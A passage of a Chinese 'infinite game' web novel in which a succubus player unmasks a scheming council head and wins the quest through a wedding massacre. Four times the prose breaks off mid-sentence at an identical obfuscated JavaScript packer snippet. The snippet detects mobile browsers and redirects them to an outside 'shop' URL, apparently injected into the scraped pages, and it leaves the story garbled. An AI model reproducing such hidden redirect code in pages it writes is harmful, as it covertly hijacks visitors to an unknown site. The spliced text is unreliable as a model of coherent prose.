“和我合作,把她从那把高高在上的椅子上拉下来!然后,她就永远是你的了。我可以告诉你方法,让她不再那么强大。你可以把她牢牢掌握在手中……” 西维眼神一顿,沉默半响后,脸上浮现出一点动摇来。 很快,他又别过头去,像是不敢再听了。 “你闭嘴!” 他低下头,有气无力地呵斥。 克莱从他的反应里看出了希望,更卖力地游说起来: “你明明就想要。你是我的儿子,你是最像我的,我了解你。想想。与其做她一辈子的狗,甚至连死了也换不来一点她的真心。为什么不干脆让她成为你的?你会对她很好的,不是吗?我可以教你。” 西维的眼神闪动着,脸上的犹豫之色更加明显了。 预感到胜利的临近,克莱眼中带上得逞的笑意。 “……什么方法?” 西维抱着脑袋,声音闷闷的。 “我可以告诉你方法,不过,你也要帮助我才行。如果我现在被扣了‘刺杀主教’那么大的罪名,我会很麻烦的。” 克莱的声音又平稳起来,重新带上自信。 他相信,自己已经赢了。 来自伊迪丝(年蓁蓁)的指控根本没有实证,主教已经死无对证,她们现在手里唯一的筹码就是西维的指认。 西维,他承认自己是刺杀主教的真凶。 又一口咬死了克莱是幕后主使。 克莱当然知道自己是无辜的。 所以西维必然是在构陷自己。 克莱或许不知道西维为什么要杀死主教,也不知道谁才是真正的幕后真凶,但他太清楚西维的弱点了。 爱,多么软弱的东西。 它让那个曾经的天才少年甘心坠入黑暗,成为永远的囚徒和奴隶。 真是可笑。 但克莱现在很喜欢这份可笑。 正是这种可笑的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341805|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让他可以轻而易举地说动了西维,操控他的心智。 软弱的西维根本一点也不像他,更不配做他的儿子。 “你只需要帮我……” 克莱露出笑容,附在笼边耳语。 年蓁蓁看着克莱在笼子面前说了好一大段话,可偏偏她又听不清,心下焦急,就要张口阻止。 那个克莱一张嘴能颠倒黑白的样子,西维之前又一直看上去不太聪明的样子,她可不敢赌。 万一真被套出话来了呢? “让他们说。” 宁汐柔抬手,挡住了年蓁蓁往前迈的步子。 “真的吗?我有点担心。” 年蓁蓁小声回答,眼神还是忍不住看向笼子的方位。 “你现在手里缺的是能把克莱定罪的证据,不是吗?” 宁汐柔反问。 “主教压根就不是他杀的,根本就不会有证据能指认这件事。” 年蓁蓁点头,轻轻叹了口气: “前任领主的死倒是很明显真的和他有关系,可惜我们现在也没有证据……要是早知道这件事就好了,还扯什么刺杀主教,谋杀领主才是能直接踩死他的罪名!” “克莱自己也是这么想的。所以他才会一直死咬着西维不放。因为他自己心里很清楚,刺杀主教这件事,从头到尾就是一场栽赃,而且是匆忙的栽赃。只要他自己不乱阵脚,凭借西维单方面的指认,我们根本就拿他没有办法。” 宁汐柔说。 “是我考虑得不周到了。对不起。” 年蓁蓁握紧了拳头,叹了一口气,脸上流露出愧疚的神色来。 “你道什么歉?” 宁汐柔看了她一眼,不明所以: “如果不是你,[前任领主之死]这个支线任务就不会触发,我们也找不到克莱身上的突破口。现在支线任务放在这里,明摆着他身上有问题。” 说完,宁汐柔顿了一下,又道: “非要评价的话,做得不错。” “真、真的吗?” 年蓁蓁知道现在这样做是不合时宜的,但她还是忍不住又问了一句,嘴角根本压不下去,费了好大力气,反而像是在阴阳怪气地笑。 至少当克莱转过头来看到她这个表情时,是这么认为的。 也因此,他胜券在握的姿态也拿得不是那么稳了。 但他还是开口了: “德洛丽丝大人,我已经审完这个劣种了,他愿意说出真相。” 克莱一字一句,咬字极重: “一切的,真相。” 在他身后,西维站在笼子里,被血渍浸染的头发贴在脸颊边上,被阴影笼罩。 半响,他抬起头,看着宁汐柔,眼睛竟然红了。 他对着她很轻地笑了下,转瞬即逝。 “指使我刺杀主教的,的确不是克莱议员长,这一切都是我故意栽赃给他的。我们已经很久没有联系了……” 西维的声音依然虚弱,圣酒中的净化之力已经对他造成了太大的伤害。 “因为,当年我目睹他杀死了前任领主,他害怕我说出真相,要杀我灭口!如果不是得到主人的垂怜,我现在已经死了。” 西维缓缓说着,流下一行血泪: “父亲!你亲手杀死了前任领主格洛丽亚大人!我看得清清楚楚!难道,现在你还不肯承认自己的罪行吗!?” 22. 领主的婚礼(22) 克莱脸上自得的笑容,如同一面被子弹击中的镜子,乍然碎裂。 他的眼睛下意识地瞪大了,眼周肌肉紧缩,过多暴露在空气中的眼白让他看起来比西维更不像人类。 “你、你说什么?” 他在张口之后才发现自己的声音已然嘶哑。 “父亲,您不能再错下去了啊。” 西维字字泣血,脸上满是痛心疾首。 可克莱看得见少年眼中的笑。 肆意,恶劣,充满了嘲讽的笑。 克莱想错了。 他从来没有动摇过西维,哪怕是一瞬间。 西维所表演出来的犹豫,挣扎,痛苦,全部都是刻意抛出的诱饵。 这些诱饵一步步引着他陷入了“一定要控制西维”的思维怪圈,让他不自觉吐露出更多真相和秘密。 那些足以将他埋葬的东西。 但是克莱没有时间再去试图控制西维了。 麦色肌肤的少年抬起头,看着高座之上的宁汐柔,言辞恳切: “我曾经看见父亲、咳……他将一种酒混进了前任领主大人的饮食中。 那种酒,那种酒对她来说是世上最可怕的毒药!为了伪造成前任领主是病逝的假象,父亲、每次,只会在饮食中加入一滴,使得那位大人身体不断衰弱下去,却找不到病因。 我没想到自己的父亲,居然、居然会为了权利做出这样的事!所以,偷偷暗中调查……却被他发现,安排了暗杀。但是,他可以杀了我,却不能抹掉我查到的线索。 当年领主庄园内负责饮食的大厨,曾经正是他的学生,所以他才能里应外合,谋杀了前任领主格洛丽亚大人!那个人现在虽然退休了,但来到了教廷内部隐居。 找到那个人,当年的真相,就会、水落石出了。” 他的声音断续,虚弱但坚定。 他依靠在笼子边上,身上又绽放出新的伤口。 或许可以说,是疼痛支撑着他说完了这么长的一段话。 [叮!支线任务:前任领主之死] [任务进度:30%] [请玩家再接再厉!] 游戏系统提示音在玩家耳边响起。 虽然进度只有30%,离完成任务还有一段相当遥远的距离。 但进度条前进这件事,本身就相当于一个证据: 它证明了,西维说的,的确是真相。 “我靠,反向套话了。” 年蓁蓁喃喃道。 宁汐柔看着眼前这一幕,表情中没有半点惊讶。 她从一开始就笃定西维不会背叛他。 这是一种不太寻常的信任,但如今的宁汐柔更愿意称之为这是她对自己的自信。 魅魔可以闻到欲望的气味。 而西维身上,除了对她的渴望,从未出现过任何别的味道。 连模糊微弱的杂乱波动都没有过。 伴随着西维声音而变化的,是克莱惨白下去的脸色。 他撑着拐杖往前冲去,木质拐杖在地面上敲出巨大的声音,脚步踉跄着,几乎是整个人扑在笼子边上: “你想踩死我,自己也活不成!就为了她?就为了那么个东西,值得吗?!” 克莱的声音急促而愤怒。 西维靠在铁栏边上,脸色也不比他好看到哪里去。但看着他气急败坏的表情,又露出一点得意的蔑视,慢悠悠地吐出四个字: “小爷、乐意。” 年蓁蓁看着这半分钟内的惊天反转,整个人已经呆住了,眼珠子骨碌碌转了好几圈才找回状态,高呼道: “如此令人震惊的指控,我们绝不能置之不理!克莱,你竟然是这样一个忘恩负义的卑劣之人!” 克莱握紧了拐杖,表情第一次慌乱了起来。 和刚才显然就是空穴来风,没有任何证据的扣锅不同。西维刚才说的话里,不仅提供了作案方法,甚至还出现了一个活生生的证人。 纵然是没办法一句定论克莱真的犯下了那样的罪行。 但仅凭这样的供述,就已经足够让宁汐柔找到一个将克莱关起来,等待后续调查的借口了。 “德洛丽丝大人,我!——” 他还想说什么,但宁汐柔抬手,他也只好闭嘴。 “这样的指控实在沉重,议员长想要分辩也是正常的。可毕竟事关重大,格洛丽亚大人不仅仅是我的母亲,更是德伦郡的前任领主。这件事,是不能放着不管的。议员长,你说呢?” 宁汐柔依然是一副不紧不慢的样子。 “您说得对。格洛丽亚大人是一位伟大的领主,她的不幸离世,我也十分悲痛。所以,当有人利用她的离世,来诬陷我时,我并不为了自己惊慌,而是为了有人竟敢将伟大前领主的死亡,来当做污蔑他人的借口。我感到愤怒!但是,我也知道,真相不会说谎。” 克莱回答。 他不愧是把持了德伦郡多年的议员长,睁眼说瞎话的本事真是无人能及。 虽然刚才已经明显了表现出了情绪上的剧烈波动,但很快,他就平复下去,神色再次沉静坦然下来。 当然,如果他能将手中的拐杖稍微攥得松一点,会更可信。 “那么,就请议员长在真相查明之前,暂时放下长老会的工作,住在领主庄园吧。” 宁汐柔微笑。 “我相信德洛丽丝大人会将真相查明,也不让任何一个无辜的人受罚。” 克莱点头,又说: “不过,现在离您的婚礼只有不到三个小时了。一切的事情,都请婚礼后再处置吧。您可以派人跟着我,我没有意见。” 都这个时候了还想婚礼呢? 年蓁蓁不乐意了。 虽说中间发生了不少事情,甚至还扯出来一个隐藏任务。 可年蓁蓁没有忘记自己最开始的目的: ——她就是为了拖延婚礼的开始,拉长主线任务的截止时间,才费了这么大劲唱了这一出。 她自然是下意识就要反对。 不过,年蓁蓁现在也学聪明了,在出声之前,她先看了宁汐柔一眼。 “怎么办?” 年蓁蓁低声耳语。 “正常办。” 宁汐柔回。 随后,宁汐柔神色自若地点头,看着克莱: “长老会已经为我选定了丈夫的人选吗?” 之前克莱在舞会上就提到过,如果宁汐柔没有自己选定的未婚夫,那么这个人选,就由长老会来选定。 “希望您满意我们的安排。也许,这是命中注定的。” 克莱又露出了那股胜券在握一般的神色。 这场匆忙的审判被同样匆忙地按下暂停键。 领主的婚礼同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365606|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在教廷举办,已经有人开始将中庭里的杂物清理干净,准备要布置上婚礼的装饰。 关押着西维的笼子自然也属于“不适宜出现在婚礼”的物品,被蒙上黑布,抬了出去。 直到视线完全被黑布遮盖的前一秒,西维还在看着宁汐柔的方向。 他的目光那样专注,不肯错过哪怕一瞬。 然后,随着黑布落下,眼前的最后一丝光也被掠夺。 笼子猛地震了一下,传来一声闷响,像是有什么在里面跌落。 宁汐柔能猜到。 那是西维终于不敌剧痛,昏死过去的声音。 “咱们就这么走主线离开了吗?” 年蓁蓁小声问。 “不然呢?” 宁汐柔反问。 不然? 不然还有隐藏任务卡在99%,支线任务刚刚到30%,难道这些都不管了? 年蓁蓁光想想就觉得心痛了。 而且,西维还…… “别贪。” 宁汐柔看着她的表情就猜出来她在想什么,看了她一眼,唇边居然还带点笑意。 “可是支线任务不要就算了,隐藏都99%了……不过我听宁姐你的!你一个指令,我一个动作。” 年蓁蓁小声说了一句,又马上表忠心。 “这个支线任务很有意思,或许它会比隐藏任务更先完成。” 宁汐柔不置可否,点了点头。 最近触发的这个支线任务叫做[前任领主之死],听上去像个推理探案类的任务,但故事的凶手其实从一开始就已经给出了: 长老会议员长,克莱。 一个凶手已经明确的凶杀案,听上去本该很简单,简单到无趣。 可偏偏刚才西维的一番讲述,涵盖了作案手法,作案动机,甚至提供了关键证人线索。 但是,进度居然只推进了30%。 这很不正常。 但所有的不正常之下,隐藏着的都是还未被发现的突破口。 如果动机、手法、线索都浮现了,那么还有什么是可以继续探究的? 受害人。 前任领主格洛丽亚,才是这个支线任务中最大的谜团。 “西维给出的线索很清楚,克莱自己也没有过多辩驳的打算,比起反驳,他只是在拖延时间。” 宁汐柔说。 “拖延时间?可是拖下去有什么用?只要找到那个厨子,有了证词,他的罪名就会被坐实了。难道他要趁着婚礼杀人灭口?” 年蓁蓁思索着。 “他是要杀人,但要杀的不是那个厨子。” 宁汐柔看向克莱的方向。 克莱此刻已经镇定下来,他和长老会的成员聚在一起,说了几句话,就被教廷骑士围住,和他们离开了。 “他知道自己无法脱罪,但是依然要将这件事拖到婚礼之后,是因为在他的计划里,婚礼之后,他的罪名就不重要了。” 宁汐柔起身,看向门口的方向。 银发长发的男仆走过来,对着她单膝跪下。 “大人,一切都安排好了。” 她抬手,看着伊卡瑞斯在她的手背上落下轻柔的吻,如同蝴蝶翅膀在风中扇动。 “就让我们看看,我的丈夫,会做出什么选择吧。” 她勾起唇,獠牙若隐若现。 23. 领主的婚礼(完) 仓促之下的婚礼,透露出一股忙乱的别扭感。 譬如中庭四周用来撑场面的,足有两层楼高的巨大花瓶, 华丽却突兀。 宁汐柔没换礼服,坐在高座之上,看着自己的“未婚夫”走近。 这位由长老会选出的未婚夫,果然就是三个候选人中,唯一的玩家。 男玩家长相普通,谈不上好坏,就是一个丢进人群会瞬间消失的人。 但和走在他身边的伊卡瑞斯一对比,都不需要细看,也不得不承认这对比实在残忍。 银发的男仆比身边人高出了大半个脑袋,俊美而冷锐五官被发丝柔软的弧度柔和许多,一双凤眼低垂,水晶制的单边眼镜后是幽蓝色的眸子。 他只需要站在那里,就映出美玉寒山,月夜星鸣。 宁汐柔看着他垂眸时睫毛在光下迷蒙的光影,并不掩饰自己对美的欣赏。 毕竟,副本结束之后,就看不到了。 “咳。” 年蓁蓁在她身后非常经意地低声咳了下。 “不好看吗?” 宁汐柔勾唇。 她紧张得手心全是汗,宁汐柔还有心情在这欣赏美色,果然人和人的心理素质比物种差距还大。 年蓁蓁在心里默默感慨。 男玩家在台阶下停住脚步,抬头看着宁汐柔。 宁汐柔没动。 “我有线索。你过来,我告诉你。” 短暂沉默之后,男玩家说。 “为什么不能在这里说?” 宁汐柔问。 “不方便。是隐藏任务。” 男玩家脸色有些为难。 “你要把隐藏任务分享给我?” 宁汐柔歪头,向前走了一步。 “这可是隐藏任务!我都愿意分享给你了,你也要让我看到你的诚意吧?” 男玩家看到宁汐柔的反应,眼睛一亮。 宁汐柔看着了一眼伊卡瑞斯,后者默默点头退下。 她缓步走下台阶,就在两个人之间只有一步距离时,男玩家猛地抬手,掌心寒光一闪,就往宁汐柔的心口刺去—— 他的动作很快,人类肉眼甚至看不到残影闪现。 眼见一击即中,男玩家眼中浮现一丝欣喜,刀刃陷入血肉的触感却迟迟没有出现。 刀刃被宁汐柔抬手挡住,寒光锋利的刀刃甚至没能在她掌心留下一点伤口。 他瞪大了眼睛。 “你果然还是选错了。” 宁汐柔将刀刃夺过来,甩到地上。 掌心传来微弱的刺痛。 早在克莱将人带走时,宁汐柔就让伊卡瑞斯去接触了他。其实也没什么特别的内容,无非就是替他杀了其他两个候选人,让他成为了长老会唯一的选择。 首席男仆这点事情还是能做到。 伊卡瑞斯毕竟是NPC,宁汐柔不能通过他来传递副本相关信息,所以她只让他带了三个字: “好好选。” 当时宁汐柔还不知道普通身份卡的玩家有着相同的主线任务,也没有和离秽达成合作,更不知道年蓁蓁能直接来了一把大的把克莱关起来。 她只能推测出长老会必定要在婚礼上搞事情。 她心想,与其让有可能心向长老会的几个NPC上位,不如她出手帮了这一把,换个内应。 不过,后来又发生了许多事。 当看到克莱坚定地要将审讯拖到婚礼之后的时候,她就猜到,自己估计是得不到这个内应了。 “对不起,我不能OOC。” 男玩家道了个歉,没什么诚意,随后大喊出声: “她!她不是人类!你们看她的手!” 手? 宁汐柔愣了下,抬手看着自己的掌心,那上面依然没有伤口,却似乎被什么灼烧了一样,缓慢地泛起猩红色,然后肌肤也随之融化,露出内部没有血液的伤口,和黑色的骨骼。 那把刀有问题。 “她根本就不是人类!她才是恶魔!” 男玩家高呼着,随着他的呼喊声,站在中庭四周的教廷成员不约而同的拿起武器。 但他们对准的不是宁汐柔也不是别的什么人,而是齐齐奋力挥舞,打破了用于装饰会场的,两层楼高的巨大花瓶。 而从缺口流出的,不是水,而是散发着酒气的液体。 是圣酒。 “大人!” 伊卡瑞斯从阴影里冲出来,一把抱起宁汐柔,他的神情中满是慌张惊恐,唯恐有一滴水滴碰到她。 “好手段。” 宁汐柔看着陷入骚动的会场,恍然大悟。 原来这才是长老会一开始的布置。 宁汐柔一直觉得很奇怪。 为了阻止婚礼进行,教廷连毒杀带刺杀,几乎所有手段都用上了。 要不是主教不知道宁汐柔的恶魔身份,再加上离秽是个反骨仔玩家,宁汐柔真的未必能从那些陷阱和暗害中活下来。 但是长老会却似乎一直没有动作。 难道克莱真的对主教和教廷的势力那么信任,以至于他什么准备都没做吗? 不,他做了,而且他做得更多,更好。 他要釜底抽薪,彻底在婚礼上,直接让宁汐柔,或者说,德洛丽丝,绝无逃出生天的任何可能。 长老会和教廷交好多年,连长老会议员的子女都在教廷任职。对于克莱来说,在教廷中培植人手,实在是太简单不过的事。 这些人或许不足以帮助他在刚才的指认中逆转结果。 但足够用来围剿宁汐柔。 作为领主继承人,最重要的,最使她高高在上不可撼动的是什么? 是血统。 德伦郡是个崇尚血统论的地方。 人们相信,只有流淌着领主家族高贵血统的人,才有资格成为德伦郡的主人。 正是因为这份崇拜,无论长老会和教廷做了多少努力,掌握了多少势力,最终,他们都要让位给流淌着正统血统的继承人。 可如果,这份血统根本就是一个谎言呢? 如果,这所谓的高贵血统,根本就是不存在的呢? 宁汐柔一路走到现在,看似高歌猛进,其实一直都在迷雾中。 她从来没有真正理解过自己这张角色卡真正的基础设定 最有意思的是,如果是任何一个其他玩家,他们一定能够瞬间明白这个设定。 这是只有她无法走出的迷雾。 “原来如此,原来如此……哈哈…哈哈哈!” 她仰头笑起来,眼中满是兴奋。 为什么她会被加注了净化之力的水晶杯灼伤? 为什么她会被教廷的圣酒伤害到? 宁汐柔一直以为,那是因为她是魅魔,是黑暗种族。 可是如果这样,并不能解释: 为什么西维会担忧她碰到笼子? 为什么伊卡瑞斯会在看到圣酒被泼出来时,几乎是疯狂地要冲过来保护她? 因为他们知道宁汐柔不能接触这些东西。 可如果他们知道宁汐柔不能接触这些,就说明,真正无法接触圣酒的不是宁汐柔。 而是德洛丽丝。 西维一直执拗地自称为“恶魔眷属”,因为他的确不是恶魔。 德洛丽丝,他的主人,才是真正的恶魔。 而德伦郡一直崇拜信奉的“高贵血统”,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376104|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实就是恶魔的血脉。 那么前任领主的血统呢? 格洛丽亚之死,受害人身上的秘密,原来这么简单。 [叮!支线任务:前任领主之死] [任务进度:100%!] [恭喜您完成支线任务,奖励将在副本结束后统一发放] “好漂亮的一招。” 宁汐柔赞叹道,不知道说的是安排了这一场杀局的克莱,还是将德洛丽丝身份卡下发给她的游戏系统。 “你们这些乔装面目的恶魔!德伦郡已经被你们欺骗太久了!” 克莱不知道什么时候被放了出来。 他显然虚弱了许多,被长老会的人搀扶着,拐杖拖在地上,发出刺耳的声音。 “当年,我设法杀死了你母亲,却没杀掉你这个劣种!如今,该是时候了!” “大人,还是先走吧?” 伊卡瑞斯问。 他此刻也是脸色惨白,勉力支撑的模样。有点像是西维,但症状要更轻一些。至少,那些酒液接触到他的皮肤之后,烧伤的程度并没有西维那样瞬间血肉融化般的恐怖。 但与之匹配的,是同样不出色的自愈能力。 对,他也是恶魔的眷属,只是跟随她的时间没有西维久。 看来眷属的转化,是随着时间长短而来的。 那么…… “嘶、这酒好烫!” 年蓁蓁甩了甩手,看向宁汐柔,神色焦急: “姐,我现在该做什么?” “你看着就行了。” 宁汐柔挑眉,朗声道: “骑士长,该你出场了!” 下一秒,巨剑袭来。 当它挥动的那一刻,世界也随之颤栗。 “什——” 克莱听见一声闷响,是什么东西掉落在地上。 他的视线极速下降,嘴里涌出血沫,模糊的视野中看见一具无头尸体,轰然倒地。 是…谁? 哦……是、我、啊。 克莱的死犹如惊雷炸开,身穿重甲的骑士挥舞着巨剑,在她身边,无数朵血花炸开。骑士所到之处,连挣扎的声音都没有传来,只有一声声尸体倒地的闷响。 她的巨剑没有开刃,硬生生将血肉骨骼全部砸断。 伊卡瑞斯抱着宁汐柔走上台阶,将她放在高座之上。他已经没力气蹲下,双膝狠狠磕在地上,明显已经碎了。 但这只是他身上最轻的伤。 膝盖之下,他的小腿血肉已经几乎被烧干净,只剩下森森白骨,鲜血顺着伤口流进地上的酒液,像红色的丝绸。 宁汐柔下意识抬手去碰他苍白的脸颊。 “太好了,您没事呢。” 伊卡瑞斯顺从地抬起下巴,这似乎已经用尽了他全身的力气。 “能被您使用到…最后一刻,是我的荣幸。” 他用鼻尖轻轻蹭了蹭宁汐柔的手腕内侧,神色眷恋,流露出幼犬一样可怜的神情,低声恳求道。: “可以请您,闭上眼睛吗?您最喜欢我这张脸了,请只记住美丽的我吧?” 宁汐柔没说话,只是又看了他一眼,随后,闭上了眼睛。 耳边是巨剑落下的声音, 掌心,有人留下了一个,比蝴蝶振翅更加小心翼翼的吻。 她睁开眼,银发男仆的踪迹已经消散。 只有一只银色的单片眼镜,被放在她的手中。 [叮!隐藏任务进度:100%!] [叮!主线任务进度:100%!] [叮!副本已通关!] [——无限游戏服务器载入中——] [祝您游戏愉快!] 24. 无限游戏服务器(1) 随着系统提示音响起,华丽的中庭坍塌消散。 再一睁眼,她们已经身处于一个全白的空间中,只有四把椅子孤零零被放在地面上。 副本结束了。 “这是哪儿?” 年蓁蓁还没从刚才的惊险中缓过来,捂着胸口喘气。 她似乎身体不太好,在副本里时也是,一旦有点情绪波动,就会下意识地捂胸口。 “服务器中转站。” 离秽回答。 她此刻已经收起了自己的重剑,一身铠甲上的血迹也渐渐淡去,仿佛被盔甲本身吸收了一样。 这场面有些诡异,但搭配上她自若的神色,又好像没什么值得惊讶的。 年蓁蓁很明显有些好奇这副铠甲,但也知道这不是一个可以随便问的问题,于是收回目光,只说: “中转站?” “嗯。所有玩家都生活在无限游戏服务器里,按照一定的频率进入副本。登出副本时,会经过这样空白的中转站,主要用来简单休整伤势,领取奖励。” 离秽解释道: “玩家也花费点数选择登出之后的具体落点,否则就是随机到公共领域。当然,公会玩家会自动在落在公会内部,相关点数花费我们承担。” 她说着,看向宁汐柔,歪了歪头,意思很明显。 宁汐柔也没有扭捏,勾唇: “骑士长都帮我杀穿副本了,我总不能现在毁约。” 时间回到半天前,宁汐柔几人还在副本中时。 离秽深夜造访,带来了领主权杖的杖身,和主教已死的消息,以及她与宁汐柔合作结盟的诚意。 “加入[回程],有我在,他们不敢动你。” 离秽说。 “回程,这个名字很有意思,你们想要回到现实世界?可是我对这个不感兴趣。” 宁汐柔说。 这是实话,对于她而言,无论是人类世界还是无限游戏,都没有什么太大的差别,她没有“家”的概念,自然也不会渴望“回家”。 甚至可以说,比起人类世界,宁汐柔更喜欢无限游戏。 魅魔虽然自愈力很强,但刀枪子弹是一回事,导弹坦克又是另一回事了。 为了保证自己不用成为实验室里会呼吸的碎片肉泥,宁汐柔选择融入人类社会。 她塑造了一个外表柔弱无害的拟态,即使出门觅食,也会控制进食量,不从一个人身上吞吃太多的欲念,不引起某些势力的关注。 像社会中的绝大多数人类一样,过着没什么目标,也不追求什么意义的生活。 索然无味。 人类的欲念往往浅薄寡淡。 不管挑选了多少猎物,尝试过多少种不同的口味。 都像是在吃被翻来覆去重新用微波炉热了不知道多少遍的小菜,不是不能入口,但又好像没什么值得细细品尝的地方。 可在这里不一样。 这无限游戏中,人也好,NPC也好,他们的欲望都更极致,纯粹,疯狂。 都更美味。 “没关系,我不是邀请你一起回归人类世界。我的诉求,只是你让我,或者让我们的人跟着你一起下副本。在副本里,我们可以听你指挥,甚至用性命来保护你。” 离秽看着她的眼睛,平静地说出了沉重的承诺。 “特殊身份卡。” 宁汐柔笑了。 “对,特殊身份卡。这个无限游戏正如其名,无论闯过了多少副本,都好像无穷无尽。那些副本,看上去不同,可底层逻辑都是一样的。我在那里面一直打转,看不到出路。” 离秽的声音中带着迷茫。 “但我不一样?或者说,有我在的副本,会不一样。” 宁汐柔不用费什么力气,就能推出这个结论。 “对。这个副本不一样,我好像……在这里感受到更深层的力量,介入了副本。但是那种感觉很淡,也很短暂。所以,我希望能继续和你进入副本,也许会有新的突破。” 离秽说得坦诚。 “真有意思,你刚才是真心要杀我,现在又是真心要和我当队友了。刚见面时候你说的那些,‘因为我是我’的那些话,也是一种测试吗?” 宁汐柔看着她欲望的颜色,露出一点饶有兴味的笑。 刚才的刺杀,离秽没有留手,重剑袭来的杀意锋利冰冷。 如今的谈话,离秽也没有撒谎,言语中的每个字,都不带有一点隐瞒的意图。 单单从欲望的层面来看,她是个很纯粹的人。 “太脆弱的人活不久,没法在特殊身份卡的诅咒下活下来,更没有合作的价值。至于刚见面时候说的话……不是骗你,但是现在还没法解释。” 离秽也笑了。 “好吧,既然是现在不方便说的事,我就不追问了。” 宁汐柔点了点头: “为了表示骑士长的诚意,明天婚礼上,帮我一件事吧。” “婚礼上,把除了我,哦,还有年蓁蓁,之外的所有人,都杀了。能做到的话,我们就合作吧?” 她的声音里带着笑,月色落在漆黑的眸子里,将所有光亮吞噬。 空白中转站里,年蓁蓁眨巴着眼睛,看了一眼站在一边的离秽,又看了一眼坐在椅子上闭目养神的宁汐柔,她一肚子问题,偏偏谁也不敢问。 所以副本到底是怎么结束的? 隐藏任务支线任务为什么突然就完成了? 还有……她的十倍奖励到底什么时候才发放!! “问吧。” 宁汐柔看着她眨巴眨巴眼睛的样子,笑了下。 “还得是宁姐!我就是想知道,咱们那个任务,是怎么完成的啊?” 年蓁蓁凑到宁汐柔身边。 “我拿的特殊身份卡,任务和你们也不一样,我的任务是:成为真正的领主。可惜,这个任务本身,是不可能完成的。” 反正闲着也没事,宁汐柔只当给小朋友讲故事了。 她偶尔会有这个兴致。 “真正的领主”是一个太模糊的定义,没有任何可以量化的标准,可能性实在是太多了。 但宁汐柔不可能一个个去试遍所有的可能性,她没有这个世界,也懒得去做那么蠢的尝试。 既然不可能试遍所有的可能。 就只能斩断所有的可能性。 将所有人认为她“不能是真正的领主”的人杀了,她就一定是真正的领主。 领主继位的节点是婚礼,副本一直在强调的也是婚礼。 但婚礼真正重要的地方,不在于它是象征继承人成年的标志,而在于,它是唯一一个,会将所有不认同德洛丽丝继位的人聚集在一起的场合。 因为那是他们最后的机会。 所以,只要把婚礼上所有人都杀了,剩下的,自然就是在形式上和精神上都愿意接受她统治的人了。 虽然后来克莱在婚礼上做了很多安排,又是安排未婚夫反水,又是要宣告继承人的恶魔血统。 但是他再怎么安排,所有参与,知情的人都死了。 就等于一切清零。 这个计划就是纯纯的暴力通关,绕过任务的逻辑,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389561|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毁掉任务成立的基础。 唯一的要求就是,真的要有一个足够强大的人,可能在婚礼上血洗所有人。 宁汐柔自己就可以做到这一点,离秽只是她因为懒得动而上的双保险。 没想到克莱安排了一场圣酒淹会场,双保险成了绝地逢生的转机。 “一力降十会啊……” 年蓁蓁默默感慨,声音突然小得像是蚊子叫: “那,咱们那个隐藏任务呢?” “那个更简单了。领主的权杖,权杖有了,拿着的人也得是‘真正的领主’才行啊。” 宁汐柔笑了。 隐藏任务卡着的那1%,根本就不是硬性条件的缺失。 只是一个简单的文字游戏。 在宁汐柔成为“真正的领主”那一瞬间,这1%就被自动补全了。 “……真是狗系统啊。” 年蓁蓁忍不住吐槽了一句。 她话音刚落,就听见系统提示音超大声的响起,同时出现的,还有一个悬浮在空中的光屏。 [叮!副本已通关!] [奖励统一结算中——] [通关奖励:自由点数×10(所有存活玩家)] [主线任务奖励:自由点数×100(所有存活玩家)] [支线任务奖励:自由点数×500(玩家:宁汐柔)] [叮!检测到副本中有玩家触发隐藏任务!] [隐藏任务奖励已发放!请玩家自行检查背包!] [叮!点数系统已开启!请玩家合理规划使用!] [叮!个人技能系统已开放!(玩家:宁汐柔、年蓁蓁、芹秀兰)] [——服务器加载中——] [恭喜您成功载入无限游戏服务器!] 芹秀兰? 副本里有这么个人吗? 在系统通报里看到一个陌生的名字,年蓁蓁楞了一下。 她转头看过去,在其中一把椅子上,看到了一张陌生又熟悉的面孔。 说熟悉,是因为确实在副本里见过。 说陌生,是因为见了真的好像和没见没什么区别。 芹秀兰,就是当时跟在克莱身后,全程没说过话的中年女玩家。 “哦?有意思。” 